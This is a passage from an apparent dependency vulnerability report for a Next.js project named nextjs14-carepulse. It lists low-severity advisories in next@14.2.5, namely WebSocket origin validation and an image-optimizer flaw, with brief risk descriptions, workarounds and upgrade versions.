Upgrade next to version 15.5.16, 16.2.5 or higher.

References

low severity

Missing Origin Validation in WebSockets

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@14.2.30.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Missing Origin Validation in WebSockets when running next dev and the project uses the App Router. An attacker can access the source code of client components by exploiting the Cross-site WebSocket hijacking (CSWSH) attack when a user visits a malicious link while having the server running locally.

Workarounds

  1. Avoid browsing untrusted websites while running the local development server.

  2. Implement local firewall or proxy rules to block unauthorized WebSocket access to localhost.

Remediation

Upgrade next to version 14.2.30, 15.2.2 or higher.

References

low severity

Missing Source Correlation of Multiple Independent Data

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@14.2.31.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Missing Source Correlation of Multiple Independent Data in image-optimizer. An attacker can cause arbitrary files to be downloaded with attacker-controlled content and filenames by supplying malicious external image sources.

Note: This is only exploitable if the application is configured to allow external image sources via the images.domains or images.remotePatterns configuration.

Remediation

Upgrade next to version 14.2.31, 15.4.2-canary.19, 15.4.5 or higher.

References